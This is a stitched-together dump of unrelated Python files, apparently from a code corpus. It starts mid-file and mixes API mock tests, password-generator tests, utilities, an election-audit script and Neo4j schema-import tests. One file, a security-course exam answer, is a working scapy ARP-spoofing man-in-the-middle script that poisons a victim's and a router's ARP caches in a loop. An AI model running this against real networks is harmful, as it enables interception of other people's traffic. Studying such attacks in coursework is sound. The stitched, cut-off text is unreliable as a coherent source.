return json.loads(self.jsons)
contact_rep = open('contacts.json','r').read()
contacts_json = json.loads(contact_rep)
jeb = contacts_json['value'][0]
bob = contacts_json['value'][2]
t_string = '%Y-%m-%dT%H:%M:%SZ'
urls = ['https://outlook.office365.com/api/v1.0/me/contacts/',
'https://outlook.office365.com/api/v1.0/me/contacts/bigguid1',
'https://outlook.office365.com/api/v1.0/me/contacts/bigguid2',
'https://outlook.office365.com/api/v1.0/me/contacts/bigguid3']
def delete(url,headers,auth):
if url not in urls:
print(url)
raise BaseException('Url wrong')
if auth[0] != '<EMAIL>':
raise BaseException('wrong email')
if auth[1] != 'pass':
raise BaseException('wrong password')
if headers['Content-type'] != 'application/json':
raise BaseException('header wrong value for content-type.')
if headers['Accept'] != 'text/plain':
raise BaseException('header accept wrong.')
return Resp(None,204)
contact.requests.delete = delete
def post(url,data,headers,auth):
if url not in urls:
raise BaseException('Url wrong')
if auth[0] != '<EMAIL>':
raise BaseException('wrong email')
if auth[1] != 'pass':
raise BaseException('wrong password')
if headers['Content-type'] != 'application/json':
raise BaseException('header wrong value for content-type.')
if headers['Accept'] != 'application/json':
raise BaseException('header accept wrong.')
if json.loads(data) != jeb and json.loads(data) != bob:
raise BaseException('data is wrong.')
return Resp(data,202)
#return True
contact.requests.post = post
def patch(url,data,headers,auth):
if url not in urls:
raise BaseException('Url wrong')
if auth[0] != '<EMAIL>':
raise BaseException('wrong email')
if auth[1] != 'pass':
raise BaseException('wrong password')
if headers['Content-type'] != 'application/json':
raise BaseException('header wrong value for content-type.')
if headers['Accept'] != 'application/json':
raise BaseException('header accept wrong.')
return Resp(data,202)
#return True
contact.requests.patch = patch
auth = ('<EMAIL>','<PASSWORD>')
class TestInbox (unittest.TestCase):
def setUp(self):
self.jeb = contact.Contact(jeb,auth)
self.bob = contact.Contact(bob,auth)
def test_create(self):
self.assertTrue(self.jeb.create())
self.assertTrue(self.bob.create())
def test_update(self):
self.assertTrue(self.jeb.update())
self.assertTrue(self.bob.update())
def test_delete(self):
self.assertTrue(self.jeb.delete())
self.assertTrue(self.bob.delete())
def test_auth(self):
self.assertEqual('<EMAIL>',self.jeb.auth[0])
self.assertEqual('pass',self.jeb.auth[1])
self.assertEqual('<EMAIL>',self.bob.auth[0])
self.assertEqual('pass',self.bob.auth[1])
if __name__ == '__main__':
unittest.main()
| 2.375 | 2 |
tests/test_generators.py | smartlegionlab/smartpassgen | 2 | 12789676 | # -*- coding: utf-8 -*-
# --------------------------------------------------------
# Licensed under the terms of the BSD 3-Clause License
# (see LICENSE for details).
# Copyright © 2018-2021, <NAME>
# All rights reserved.
# --------------------------------------------------------
# https://github.com/smartlegionlab
# <EMAIL>
# --------------------------------------------------------
class TestPassGen:
def test_generate(self, pass_gen, context):
assert pass_gen.generate() != pass_gen.generate()
assert pass_gen.generate(login=context.login) != pass_gen.generate(login=context.login)
assert pass_gen.generate(login=context.login, secret=context.secret) == context.smart_pass
assert pass_gen.generate(secret=context.secret) == context.norm_pass
def test_make_password(self, pass_gen):
assert pass_gen.make_password() != pass_gen.make_password()
assert len(pass_gen.make_password(length=30)) == 30
assert pass_gen.make_password(seed='new') == pass_gen.make_password(seed='new')
class TestKeyGen:
def test_make(self, key_gen, context):
assert key_gen.make(login=context.login, secret=context.secret) == context.key
def test_check(self, key_gen, context):
assert key_gen.check(login=context.login, secret=context.secret, key=context.key)
def test__get_hash(self, key_gen):
assert key_gen._get_hash('Py') != key_gen._get_hash('Yp')
def test_get_base_password(func_get_base, context):
assert func_get_base(length=context.length) != func_get_base(length=context.length)
def test_get_norm_password(func_get_norm, context):
assert func_get_norm(secret=context.secret, length=context.length) == context.norm_pass
def test_get_smart_password(func_get_smart, context):
assert func_get_smart(login=context.login, secret=context.secret, length=context.length) == context.smart_pass
def test_make_public_key(func_make_key, context):
assert func_make_key(login=context.login, secret=context.secret) == context.key
def test_check_public_key(func_check_key, context):
assert func_check_key(login=context.login, secret=context.secret, key=context.key)
| 2.40625 | 2 |
Examenes/Parcial/Pregunta_4.py | MrAngelwwev2/CC411-Seguridad-en-sistemas-informaticos | 0 | 12789677 | <reponame>MrAngelwwev2/CC411-Seguridad-en-sistemas-informaticos
#El siguiente programa en Python consiste en conocer la MAC tanto de la victima como del router
#Realizamos las importaciones necesarias
import os
import time
import sys
from scapy.all import *
from scapy.layers.inet import *
def obtenerInformacion():
print("Obteniendo direcciones")
interface = input("Interface (en0 is Macbook Wifi):")
victimaIP = input("IP de la victima:")
routerIP = input("IP del router:")
return [interface, victimaIP, routerIP]
def confIPReenvio(toggle):
if(toggle == True):
print("~~~Turing en el reenvio de IP")
os.system('sysctl -w net.inet.ip.forwarding=1')
if(toggle == False):
print("~~~Turing off en el reenvio de IP...")
os.system('sysctl -w net.inet.ip.forwarding=0')
def obtener_MAC(ip, interface):
answer, unanswer = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = ip), timeout = 2, iface=interface, inter = 0.1)
for send,recieve in answer:
return recieve.sprintf(r"%Ether.src%")
#Restablece la conexion entre la victima y el router en la capa de enlace de datos.
def reasignacionARP(victimaIP, routerIP, interface):
print("Reasignacion de ARPS")
victimaMAC = obtener_MAC(victimaIP, interface)
routerMAC = obtener_MAC(routerIP, interface)
send(ARP(op=2, pdst=routerIP, psrc=victimaIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimaMAC, retry=7))
send(ARP(op=2, pdst=victimaIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC, retry=7))
confIPReenvio(False)
def ataque(victimIP, victimMAC, routerIP, routerMAC):
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))
def manInTheMiddle():
info = obtenerInformacion()
confIPReenvio(True)
print("Obteniendo MACs")
try:
victimaMAC = obtener_MAC(info[1], info[0])
except Exception as e:
confIPReenvio(False)
print("Error al obtener MAC de la victima")
print(e)
sys.exit(1)
try:
routerMAC = obtener_MAC(info[2], info[0])
except Exception as e:
confIPReenvio(False)
print("Error al obtener MAC del router~!~Error getting router MAC...")
print(e)
sys.exit(1)
print("MAC de la victima: %s" % victimaMAC)
print("MAc del router: %s" % routerMAC)
print("ATACANDO")
while True:
try:
ataque(info[1], victimaMAC, info[2], routerMAC)
time.sleep(1.5)
except KeyboardInterrupt:
reasignacionARP(info[1], info[2], info[0])
break
sys.exit(1)
manInTheMiddle() | 3.078125 | 3 |
util.py | sharpvik/fin | 0 | 12789678 | import numpy as np
import pandas as pd
def sma(price: np.ndarray, period: int) -> np.ndarray:
return price.rolling(period).mean()
| 2.828125 | 3 |
pylox/lox_errors.py | BolunThompson/PyLox | 2 | 12789679 | from __future__ import annotations
import enum
import inspect
import sys
import typing as tp
import pylox.misc_utils as mu
import pylox.token_classes as tc
DEFAULT_ERROR = "Something very wrong has happened"
ErrorLine = tp.Union[int, str]
class ReturnsNT(tp.NamedTuple):
code: int
type: str
class ErrorReturns(ReturnsNT, enum.Enum):
SUCCESS = ReturnsNT(0, "Success")
ERROR = ReturnsNT(70, "Error")
SCAN_ERROR = PARSE_ERROR = RESOLVER_ERROR = ReturnsNT(65, "Syntax Error")
FILE_ERROR = ReturnsNT(66, "File Error")
RUNTIME_ERROR = ReturnsNT(70, "Runtime Error")
def error(self) -> bool:
return self is not self.SUCCESS
# TODO: Refactor global state out?
# This is meant to incremented when a line goes past when dealing with
# multiple pieces of source code (e.g in the REPL)
line_inc = 0
def error(
line: ErrorLine,
message: str = DEFAULT_ERROR,
error_type: ErrorReturns = ErrorReturns.ERROR,
*,
raw_line: bool = False,
) -> None:
if isinstance(line, int):
line += line_inc
elif not raw_line:
line += f" (after line {line_inc})"
print(f"[line: {line}] {error_type.value.type}: {message}", file=sys.stderr)
def token_line(mixed_tokens: tp.Iterable[tp.Any]) -> int:
"""
Helper function for getting the line from a list of of mixed tokens.
"""
def process_key(key: tp.Any) -> int:
if isinstance(key, tc.Token):
return key.line
try:
return token_line(key)
except TypeError:
return 0
return max(mixed_tokens, key=process_key, default=0)
def keyboard_interrupt_error(
error_type: ErrorReturns, line: tp.Optional[ErrorLine] = None
) -> None:
raw_line = True
if line is None:
line = f"estimate {token_line(inspect.trace()[-1][0].f_locals.values())}"
elif line == 0:
line = "unknown"
raw_line = False
print()
error(line, "Keyboard Interrupt", error_type, raw_line=raw_line)
class LoxRuntimeError(Exception):
""" Always caught """
line: ErrorLine
message: str
ignore: bool
def __init__(
self,
line: ErrorLine = "unknown",
message: str = DEFAULT_ERROR,
ignore: bool = False,
) -> None:
self.line = line or "unknown"
self.message = message
self.ignore = ignore
def error(self) -> None:
if not self.ignore:
error(self.line, self.message, ErrorReturns.RUNTIME_ERROR)
class KeyLoxRuntimeError(LoxRuntimeError, KeyError):
"""
Subclass of LoxRuntimeError meant for use where it should
be able to be caught as a KeyError
"""
| 2.53125 | 3 |
month01/all_code/day07/exercise06.py | chaofan-zheng/tedu-python-demo | 4 | 12789680 | <filename>month01/all_code/day07/exercise06.py
"""
练习1:请排列出两个色子可以组成的所有可能(列表)
练习2:请排列出三个色子可以组成的所有可能(列表)
色子1~6 range(1,7)
色子1~6 range(1,7)
"""
# list_result = []
# for x in range(1,7):
# for y in range(1,7):
# list_result.append((x,y))
# list_result = [(x, y) for x in range(1, 7) for y in range(1, 7)]
# list_result = []
# for x in range(1,7):# 1
# for y in range(1,7):# 1 2 3 ... 6
# for z in range(1,7):#1~6 1~6 1~6
# list_result.append((x,y,z))
list_result = [(x, y, z) for x in range(1, 7) for y in range(1, 7) for z in range(1, 7)]
print(list_result)
| 3.8125 | 4 |
src/wai/annotations/core/stream/__init__.py | waikato-ufdl/wai-annotations-core | 0 | 12789681 | """
Package for base stream-processing classes.
"""
from ._Pipeline import Pipeline
from ._StreamProcessor import StreamProcessor, InputElementType, OutputElementType
from ._StreamSink import StreamSink
from ._StreamSource import StreamSource
from ._typing import ThenFunction, DoneFunction, ElementType
| 1.242188 | 1 |
maine-rcv-code/v1-ballot-list-based/audit_me.py | Dovermore/2018-rcv-audits | 1 | 12789682 | <reponame>Dovermore/2018-rcv-audits
# audit_me.py
# <NAME>
# September 26, 2018
"""
Code to simulate auditing of ME RCV contest.
"""
from consistent_sampler import sampler
import hashlib
import rcv
hash_count = 0
def randint(a, b):
"""
Return pseudorandom between a (inclusive) and b (exclusive)
"""
global hash_count
assert a<b
hash_input = str(hash_count)
x = hashlib.sha256(str(hash_input).encode('utf-8')).hexdigest()
x = int(x, 16)
x = a + x % (b-a)
return x
def get_data():
votes_dir = "../../maine-rcv-data/"
votes_filename = votes_dir + 'me_votes.csv'
L = rcv.read_ME_data(votes_filename, True)
return L
def audit():
L = get_data()
n = len(L)
sample_order = list(sampler(range(n), with_replacement=False,
output='id', seed=1))
print("Sample order[:50]:", sample_order[:50])
n_stages=50
for stage in range(1, n_stages+1):
print("Audit stage: {} ".format(stage), end='')
s = min(n, stage*50) # for efficiency
S = [L[sample_order[i]] for i in range(s)]
# want to do this part many times, to get win frequency
for i in range(s, s*10):
S.append(S[randint(0, i)])
w = rcv.rcv_winner(S, [], printing_wanted=False)
print("Winner:", w)
import cProfile
cProfile.run('audit()')
| 2.6875 | 3 |
Problems_1_to_100/Problem_21/problem_21.py | ikostan/ProjectEuler | 1 | 12789683 | #!/usr/bin/python
import time
from utils.utils import print_time_log
def sum_of_proper_divisors(number: int):
"""
Let d(n) be defined as the sum of proper divisors of n
(numbers less than n which divide evenly into n).
:param number:
:return:
"""
divisors = []
for n in range(1, number):
if number % n == 0:
divisors.append(n)
return sum(divisors)
def sum_of_amicable_numbers(number: int):
"""
Evaluate the sum of all the amicable numbers under -> number
:param number:
:return:
"""
start_time = time.time()
amicable = set()
for n in range(1, number):
if n not in amicable:
a = sum_of_proper_divisors(n)
b = sum_of_proper_divisors(a)
if (n == b) and not (n == b == a):
amicable.add(n)
amicable.add(a)
result = sum(amicable)
print_time_log(start_time, result)
return result
| 3.90625 | 4 |
resumes/migrations/0005_contactdetails_address_2.py | USUDR2604/Django-ResumeBuilder | 0 | 12789684 | # Generated by Django 3.2.5 on 2021-07-12 05:10
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('resumes', '0004_remove_contactdetails_address_2'),
]
operations = [
migrations.AddField(
model_name='contactdetails',
name='Address_2',
field=models.CharField(default='India', help_text='Enter your Address', max_length=800),
),
]
| 1.679688 | 2 |
tests/test_neoschema_data_import.py | BrainAnnex/brain-annex | 0 | 12789685 | <reponame>BrainAnnex/brain-annex
# Testing of Schema-based Data Import
# *** CAUTION! *** The database gets cleared out during some of the tests!
# NOTES: - some tests require APOC
# - some tests may fail their date check if done close to midnight, server time
import pytest
from BrainAnnex.modules.neo_access import neo_access
from BrainAnnex.modules.utilities.comparisons import compare_recordsets
from BrainAnnex.modules.neo_schema.neo_schema import NeoSchema
from tests.test_neoschema import create_sample_schema_1, create_sample_schema_2
# Provide a database connection that can be used by the various tests that need it
@pytest.fixture(scope="module")
def db():
neo_obj = neo_access.NeoAccess(debug=False)
NeoSchema.set_database(neo_obj)
yield neo_obj
def test_create_data_nodes_from_python_data_1(db):
db.empty_dbase()
# Set up the Schema
sch_1 = NeoSchema.new_class_with_properties(class_name="Import Data",
property_list=["source", "date"])
sch_2 = NeoSchema.new_class_with_properties(class_name="my_class_1",
property_list=["legit", "other"])
NeoSchema.create_class_relationship(from_id=sch_1, to_id=sch_2, rel_name="imported_data")
# 1-layer dictionary, with a key in the Schema and one not
data = {"legit": 123, "unexpected": 456}
# Import step
node_id_list = NeoSchema.create_data_nodes_from_python_data(data, class_name="my_class_1")
assert len(node_id_list) == 1
root_id = node_id_list[0]
q = '''
MATCH (c1:CLASS {name:"Import Data"})<-[:SCHEMA]-
(n1:`Import Data`)-[:imported_data]->(n2:my_class_1)
-[:SCHEMA]->(c2:CLASS {name:"my_class_1"})
WHERE id(n2) = $item_id
RETURN n2
'''
root_node = db.query(q, data_binding={"item_id": root_id}, single_row=True)
root_record = root_node["n2"]
assert root_record["legit"] == 123
assert "item_id" in root_record
assert "unexpected" not in root_record # Only the key in the Schema gets imported
def test_create_data_nodes_from_python_data_2(db):
db.empty_dbase()
# Set up the Schema. Nothing in it yet, other than the "Import Data" node
NeoSchema.new_class_with_properties(class_name="Import Data",
property_list=["source", "date"])
data = {"arbitrary": "Doesn't matter"}
# Import step
with pytest.raises(Exception):
NeoSchema.create_data_nodes_from_python_data(data, class_name="non_existent_class")
# Even though the import got aborted and raised an Exception, the `Import Data` is left behind;
# locate it by its date stamp
q = '''
MATCH (n:`Import Data` {date: date()}) RETURN n
'''
result = db.query(q)
assert len(result) == 1
def test_create_data_nodes_from_python_data_3(db):
db.empty_dbase()
# Set up Schema that only contains parts of the attributes in the data - and lacks the "result" relationship
sch_1 = NeoSchema.new_class_with_properties(class_name="Import Data",
property_list=["source", "date"])
sch_2 = NeoSchema.new_class_with_properties(class_name="patient",
property_list=["age", "balance"])
NeoSchema.create_class_relationship(from_id=sch_1, to_id=sch_2, rel_name="imported_data")
data = { "name": "Stephanie",
"age": 23,
"referred by": None,
"result": {
"biomarker": "insulin",
"value": 123.
},
"balance": 150.25,
"extraneous": "I don't belong",
"insurance": False
}
# Import
node_id_list = NeoSchema.create_data_nodes_from_python_data(data, class_name="patient")
assert len(node_id_list) == 1
root_id = node_id_list[0]
q = '''
MATCH (c1:CLASS {name:"Import Data"})<-[:SCHEMA]-
(n1:`Import Data`)-[:imported_data]->(n2:patient)
-[:SCHEMA]->(c2:CLASS {name:"patient"})
WHERE id(n2) = $item_id
RETURN n2
'''
root_node = db.query(q, data_binding={"item_id": root_id}, single_row=True)
# Only the keys in the Schema gets imported; the relationship "result" is not in the Schema, either
root_record = root_node["n2"]
assert root_record["age"] == 23
assert root_record["balance"] == 150.25
assert "item_id" in root_record
assert len(root_record) == 3 # Only the keys in the Schema gets imported
q = '''MATCH (n:patient)-[:result]-(m) RETURN n, m'''
res = db.query(q)
assert len(res) == 0 # "result" is not in the Schema
def test_create_data_nodes_from_python_data_4(db):
db.empty_dbase()
sch_info = create_sample_schema_1() # Schema with patient/result/doctor
# Add to the Schema the "Import Data" node, and a link to the Class of the import's root
sch_import = NeoSchema.new_class_with_properties(class_name="Import Data",
property_list=["source", "date"])
NeoSchema.create_class_relationship(from_id=sch_import, to_id=sch_info["patient"], rel_name="imported_data")
data = { "name": "Stephanie",
"age": 23,
"referred by": None,
"result": { # Note: this doesn't match the "HAS_RESULT" in the Schema
"biomarker": "insulin",
"value": 123.
},
"balance": 150.25,
"extraneous": "I don't belong",
"insurance": False
}
# Import
node_id_list = NeoSchema.create_data_nodes_from_python_data(data, class_name="patient")
assert len(node_id_list) == 1
root_id = node_id_list[0]
q = '''
MATCH (c1:CLASS {name:"Import Data"})<-[:SCHEMA]-
(n1:`Import Data`)-[:imported_data]->(n2:patient)
-[:SCHEMA]->(c2:CLASS {name:"patient"})
WHERE id(n2) = $root_id
RETURN n2
'''
root_node = db.query(q, data_binding={"root_id": root_id}, single_row=True)
# Only the keys in the Schema gets imported; the relationship "result" is not in the Schema, either
root_record = root_node["n2"]
assert root_record["name"] == "Stephanie"
assert root_record["age"] == 23
assert root_record["balance"] == 150.25
assert "item_id" in root_record
assert len(root_record) == 4 # Only the keys in the Schema gets imported
q = '''MATCH (n:patient)-[:result]-(m) RETURN n, m'''
res = db.query(q)
assert len(res) == 0 # the relationship "result" is not in the Schema
# Count the links from the "patient" data node (the root)
assert db.count_links(match=root_id, rel_name="SCHEMA", rel_dir="OUT", neighbor_labels="CLASS") == 1
assert db.count_links(match=root_id, rel_name="imported_data", rel_dir="IN", neighbor_labels="Import Data") == 1
assert db.count_links(match=root_id, rel_name="result", rel_dir="BOTH") == 0
def test_create_data_nodes_from_python_data_5(db):
db.empty_dbase()
sch_info = create_sample_schema_1() # Schema with patient/result/doctor
# Add to the Schema the "Import Data" node, and a link to the Class of the import's root
sch_import = NeoSchema.new_class_with_properties(class_name="Import Data",
property_list=["source", "date"])
NeoSchema.create_class_relationship(from_id=sch_import, to_id=sch_info["patient"], rel_name="imported_data")
data = { "name": "Stephanie",
"age": 23,
"referred by": None,
"HAS_RESULT": {
"biomarker": "insulin",
"value": 123.,
"intruder": "the schema doesn't know me"
},
"balance": 150.25,
"extraneous": "I don't belong",
"WRONG_LINK_TO_DOCTOR" : {
"name": "Dr. Kane",
"hospital": "Mt. Zion",
"specialty": "OB/GYN"
},
"insurance": False
}
# Import
node_id_list = NeoSchema.create_data_nodes_from_python_data(data, class_name="patient")
assert len(node_id_list) == 1
root_id = node_id_list[0]
# Traverse a loop in the graph, from the patient data node, back to itself,
# and finally to the `Import Data` node - going thru data and schema nodes
q = '''
MATCH (p:patient {name: "Stephanie", age: 23, balance: 150.25})-[:HAS_RESULT]->
(r:result {biomarker:"insulin", value: 123.0})-[:SCHEMA]->(cl_r:CLASS {name:"result"})
<-[:HAS_RESULT]-(cl_p:CLASS {name:"patient"})<-[:SCHEMA]-(p)<-[:imported_data]-(i: `Import Data`)
WHERE i.date = date() AND id(p) = $root_id
RETURN p, r, cl_r, cl_p, i
'''
result = db.query(q, data_binding={"root_id": root_id})
#print(result)
# Only the keys in the Schema gets imported; the relationship "HAS_RESULT" is in the Schema
assert len(result) == 1
# The relationship "WRONG_LINK_TO_DOCTOR" is not in the Schema
q = '''MATCH (n:patient)-[:WRONG_LINK_TO_DOCTOR]-(m) RETURN n, m'''
result = db.query(q)
assert len(result) == 0
# Count the links from the "patient" data node (the root)
assert db.count_links(match=root_id, rel_name="HAS_RESULT", rel_dir="OUT", neighbor_labels="result") == 1
assert db.count_links(match=root_id, rel_name="SCHEMA", rel_dir="OUT", neighbor_labels="CLASS") == 1
assert db.count_links(match=root_id, rel_name="imported_data", rel_dir="IN", neighbor_labels="Import Data") == 1
assert db.count_links(match=root_id, rel_name="WRONG_LINK_TO_DOCTOR", rel_dir="BOTH") == 0
# Locate the "result" data node, and count the links in/out of it
match = db.find(labels="result")
assert db.count_links(match=match, rel_name="HAS_RESULT", rel_dir="IN", neighbor_labels="patient") == 1
assert db.count_links(match=match, rel_name="SCHEMA", rel_dir="OUT", neighbor_labels="CLASS") == 1
def test_create_data_nodes_from_python_data_6(db):
db.empty_dbase()
sch_info = create_sample_schema_1() # Schema with patient/result/doctor
# Add to the Schema the "Import Data" node, and a link to the Class of the import's root
sch_import = NeoSchema.new_class_with_properties(class_name="Import Data",
property_list=["source", "date"])
NeoSchema.create_class_relationship(from_id=sch_import, to_id=sch_info["patient"], rel_name="imported_data")
data = { "name": "Stephanie",
"age": 23,
"referred by": None,
"HAS_RESULT": {
"biomarker": "insulin",
"value": 123.,
"intruder": "the schema doesn't know me"
},
"balance": 150.25,
"extraneous": "I don't belong",
"IS_ATTENDED_BY" : {
"name": "Dr. Kane",
"hospital": "Mt. Zion",
"specialty": "OB/GYN"
},
"insurance": False
}
# Import
node_id_list = NeoSchema.create_data_nodes_from_python_data(data, class_name="patient")
assert len(node_id_list) == 1
root_id = node_id_list[0]
# Traverse a loop in the graph, from the patient data node, back to itself,
# and finally to the `Import Data` node - going thru data and schema nodes
q = '''
MATCH (p:patient {name: "Stephanie", age: 23, balance: 150.25})-[:HAS_RESULT]->
(r:result {biomarker:"insulin", value: 123.0})-[:SCHEMA]->(cl_r:CLASS {name:"result"})
<-[:HAS_RESULT]-(cl_p:CLASS {name:"patient"})<-[:SCHEMA]-(p)<-[:imported_data]-(i: `Import Data`)
WHERE i.date = date() AND id(p) = $root_id
RETURN p, r, cl_r, cl_p, i
'''
result = db.query(q, data_binding={"root_id": root_id})
#print(result)
assert len(result) == 1
# Again, traverse a loop in the graph, from the patient data node, back to itself,
# but this time going thru the `doctor` data and schema nodes
q = '''
MATCH (p:patient {name: "Stephanie", age: 23, balance: 150.25})-[:IS_ATTENDED_BY]->
(d:doctor {name:"Dr. Kane", specialty: "OB/GYN"})-[:SCHEMA]->(cl_d:CLASS {name:"doctor"})
<-[:IS_ATTENDED_BY]-(cl_p:CLASS {name:"patient"})<-[:SCHEMA]-(p)
WHERE id(p) = $root_id
RETURN p, d, cl_d, cl_p
'''
result = db.query(q, data_binding={"root_id": root_id})
#print(result)
assert len(result) == 1
# Count the links from the "patient" data node (the root)
assert db.count_links(match=root_id, rel_name="HAS_RESULT", rel_dir="OUT", neighbor_labels="result") == 1
assert db.count_links(match=root_id, rel_name="IS_ATTENDED_BY", rel_dir="OUT", neighbor_labels="doctor") == 1
assert db.count_links(match=root_id, rel_name="SCHEMA", rel_dir="OUT", neighbor_labels="CLASS") == 1
assert db.count_links(match=root_id, rel_name="imported_data", rel_dir="IN", neighbor_labels="Import Data") == 1
# Locate the "result" data node, and count the links in/out of it
match = db.find(labels="result")
assert db.count_links(match=match, rel_name="HAS_RESULT", rel_dir="IN", neighbor_labels="patient") == 1
assert db.count_links(match=match, rel_name="SCHEMA", rel_dir="OUT", neighbor_labels="CLASS") == 1
# Locate the "doctor" data node, and count the links in/out of it
match = db.find(labels="doctor")
assert db.count_links(match=match, rel_name="IS_ATTENDED_BY", rel_dir="IN", neighbor_labels="patient") == 1
assert db.count_links(match=match, rel_name="SCHEMA", rel_dir="OUT", neighbor_labels="CLASS") == 1
# Locate the "Import Data" data node, and count the links in/out of it
match = db.find(labels="Import Data")
assert db.count_links(match=match, rel_name="imported_data", rel_dir="OUT", neighbor_labels="patient") == 1
assert db.count_links(match=match, rel_name="SCHEMA", rel_dir="OUT", neighbor_labels="CLASS") == 1
def test_create_data_nodes_from_python_data_7(db):
db.empty_dbase()
sch_info = create_sample_schema_2() # Class "quotes" with relationship "in_category" to class "Categories"
# Add to the Schema the "Import Data" node, and a link to the Class of the import's root
sch_import = NeoSchema.new_class_with_properties(class_name="Import Data",
property_list=["source", "date"])
NeoSchema.create_class_relationship(from_id=sch_import, to_id=sch_info["quotes"], rel_name="imported_data")
data = [
{ "quote": "I wasn't kissing her. I was whispering in her mouth",
"attribution": "<NAME>"
}
]
# Import
node_id_list = NeoSchema.create_data_nodes_from_python_data(data, class_name="quotes")
print("node_id_list: ", node_id_list)
assert len(node_id_list) == 1
root_id = node_id_list[0]
# Traverse a loop in the graph, from the `quotes` data node, back to itself,
# going thru the data and schema nodes
q = '''
MATCH (q :quotes {attribution: "<NAME>", quote: "I wasn't kissing her. I was whispering in her mouth"})
-[:SCHEMA]->(cl_q :CLASS {name:"quotes"})
<-[:imported_data]-(cl_i :CLASS {name:"Import Data"})<-[:SCHEMA]-(i: `Import Data`)
-[:imported_data]->(q)
WHERE i.date = date() AND id(q) = $quote_id
RETURN q, cl_q, cl_i
'''
result = db.query(q, data_binding={"quote_id": root_id})
#print(result)
assert len(result) == 1
# Locate the "Import Data" data node, and count the links in/out of it
match = db.find(labels="Import Data")
assert db.count_links(match=match, rel_name="imported_data", rel_dir="OUT", neighbor_labels="quotes") == 1
assert db.count_links(match=match, rel_name="SCHEMA", rel_dir="OUT", neighbor_labels="CLASS") == 1
# Locate the "quotes" data node (the root), and count the links in/out of it
assert db.count_links(match=root_id, rel_name="SCHEMA", rel_dir="OUT", neighbor_labels="CLASS") == 1
assert db.count_links(match=root_id, rel_name="imported_data", rel_dir="IN", neighbor_labels="Import Data") == 1
def test_create_data_nodes_from_python_data_8(db):
# Similar to test_create_data_nodes_from_python_data_8, but importing 2 quotes instead of 1,
# and introducing non-Schema data
db.empty_dbase()
sch_info = create_sample_schema_2() # Class "quotes" with relationship "in_category" to class "Categories"
# Add to the Schema the "Import Data" node, and a link to the Class of the import's root
sch_import = NeoSchema.new_class_with_properties(class_name="Import Data",
property_list=["source", "date"])
NeoSchema.create_class_relationship(from_id=sch_import, to_id=sch_info["quotes"], rel_name="imported_data")
data = [
{ "quote": "I wasn't kissing her. I was whispering in her mouth",
"attribution": "<NAME>"
},
{ "quote": "Inspiration exists, but it has to find us working",
"attribution": "<NAME>",
"extraneous": "I don't belong in the Schema"
},
{ "junk": "This whole record has no place in the Schema"
}
]
# Import
node_id_list = NeoSchema.create_data_nodes_from_python_data(data, class_name="quotes")
print("node_id_list: ", node_id_list)
assert len(node_id_list) == 2
# Locate the "Import Data" data node
match = db.find(labels="Import Data")
assert db.count_links(match=match, rel_name="imported_data", rel_dir="OUT", neighbor_labels="quotes") == 2
assert db.count_links(match=match, rel_name="SCHEMA", rel_dir="OUT", neighbor_labels="CLASS") == 1
for root_id in node_id_list:
# Traverse a loop in the graph, from the `quotes` data node, back to itself,
# going thru the data and schema nodes
q = '''
MATCH (q :quotes)
-[:SCHEMA]->(cl_q :CLASS {name:"quotes"})
<-[:imported_data]-(cl_i :CLASS {name:"Import Data"})<-[:SCHEMA]-(i: `Import Data`)
-[:imported_data]->(q)
WHERE i.date = date() AND id(q) = $quote_id
RETURN q, cl_q, cl_i
'''
result = db.query(q, data_binding={"quote_id": root_id})
print(result)
assert len(result) == 1
# Locate the "quotes" data node, and count the links in/out of it
assert db.count_links(match=root_id, rel_name="SCHEMA", rel_dir="OUT", neighbor_labels="CLASS") == 1
assert db.count_links(match=root_id, rel_name="imported_data", rel_dir="IN", neighbor_labels="Import Data") == 1
def test_create_data_nodes_from_python_data_9(db):
# Similar to test_create_data_nodes_from_python_data_8, but also using the class "Categories"
db.empty_dbase()
sch_info = create_sample_schema_2() # Class "quotes" with relationship "in_category" to class "Categories"
# Add to the Schema the "Import Data" node, and a link to the Class of the import's root
sch_import = NeoSchema.new_class_with_properties(class_name="Import Data",
property_list=["source", "date"])
NeoSchema.create_class_relationship(from_id=sch_import, to_id=sch_info["quotes"], rel_name="imported_data")
data = [
{ "quote": "I wasn't kissing her. I was whispering in her mouth",
"attribution": "<NAME>",
"in_category": { "name": "Literature",
"remarks": "English only",
"junk": "trying to sneak in"
}
},
{ "quote": "Inspiration exists, but it has to find us working",
"attribution": "<NAME>",
"in_category": { "name": "Famous Quotes"
}
}
]
# Import
node_id_list = NeoSchema.create_data_nodes_from_python_data(data, class_name="quotes")
print("node_id_list: ", node_id_list)
assert len(node_id_list) == 2
# Locate the "Import Data" data node
match = db.find(labels="Import Data")
assert db.count_links(match=match, rel_name="imported_data", rel_dir="OUT", neighbor_labels="quotes") == 2
assert db.count_links(match=match, rel_name="SCHEMA", rel_dir="OUT", neighbor_labels="CLASS") == 1
for root_id in node_id_list:
# Locate the "quotes" data node, and count the links in/out of it
assert db.count_links(match=root_id, rel_name="SCHEMA", rel_dir="OUT", neighbor_labels="CLASS") == 1
assert db.count_links(match=root_id, rel_name="imported_data", rel_dir="IN", neighbor_labels="Import Data") == 1
assert db.count_links(match=root_id, rel_name="in_category", rel_dir="OUT", neighbor_labels="Categories") == 1
# Traverse a loop in the graph, from the `quotes` data node, back to itself,
# going thru the data and schema nodes
q = '''
MATCH (q :quotes)
-[:SCHEMA]->(cl_q :CLASS {name:"quotes"})
<-[:imported_data]-(cl_i :CLASS {name:"Import Data"})<-[:SCHEMA]-(i: `Import Data`)
-[:imported_data]->(q)
WHERE i.date = date() AND id(q) = $quote_id
RETURN q, cl_q, cl_i
'''
result = db.query(q, data_binding={"quote_id": root_id})
#print(result)
assert len(result) == 1
# Traverse a longer loop in the graph, again from the `quotes` data node to itself,
# but this time also passing thru the category data and schema nodes
q = '''
MATCH (q :quotes)-[:in_category]->(cat :Categories)
-[:SCHEMA]->(cl_c :CLASS {name:"Categories"})<-[:in_category]-
(cl_q :CLASS {name:"quotes"})
<-[:imported_data]-(cl_i :CLASS {name:"Import Data"})<-[:SCHEMA]-(i: `Import Data`)
-[:imported_data]->(q)
WHERE i.date = date() AND id(q) = $quote_id
RETURN q, cat, cl_q, cl_i
'''
result = db.query(q, data_binding={"quote_id": root_id})
#print(result)
assert len(result) == 1
